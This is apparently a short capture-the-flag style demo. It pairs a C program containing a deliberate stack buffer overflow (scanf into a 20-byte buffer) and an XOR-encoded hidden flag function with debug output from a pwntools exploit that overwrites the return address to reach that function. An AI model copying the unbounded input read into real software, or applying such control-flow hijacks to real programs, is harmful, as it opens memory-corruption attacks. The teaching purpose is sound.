In my opinion, encrypting the string with xor should be the easiest way to avoid leaking strings.
#include <stdio.h>
void secretFunction()
{
//printf("this is your flag!\n");
unsigned char str[] = {184, 164, 165, 191, 236, 165, 191, 236, 181, 163, 185, 190, 236, 170, 160, 173, 171, 237, 198, 0};
for (int i = 0; i < 19; i++)
putchar(str[i] ^ 0xcc);
}
void echo()
{
char buffer[20];
printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}
int main()
{
echo();
return 0;
}
hijack the control flow:
$ ./exp.py
[+] Starting local process './vuln' argv=[b'./vuln'] : pid 4658
[DEBUG] Received 0x11 bytes:
b'Enter some text:\n'
[DEBUG] Sent 0x25 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000020 f6 91 04 08 0a │····│·│
00000025
[*] Switching to interactive mode
[DEBUG] Received 0x45 bytes:
00000000 59 6f 75 20 65 6e 74 65 72 65 64 3a 20 41 41 41 │You │ente│red:│ AAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 f6 91 04 │AAAA│AAAA│AAAA│A···│
00000030 08 0a 74 68 69 73 20 69 73 20 79 6f 75 72 20 66 │··th│is i│s yo│ur f│
00000040 6c 61 67 21 0a │lag!│·│
00000045
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x9
this is your flag!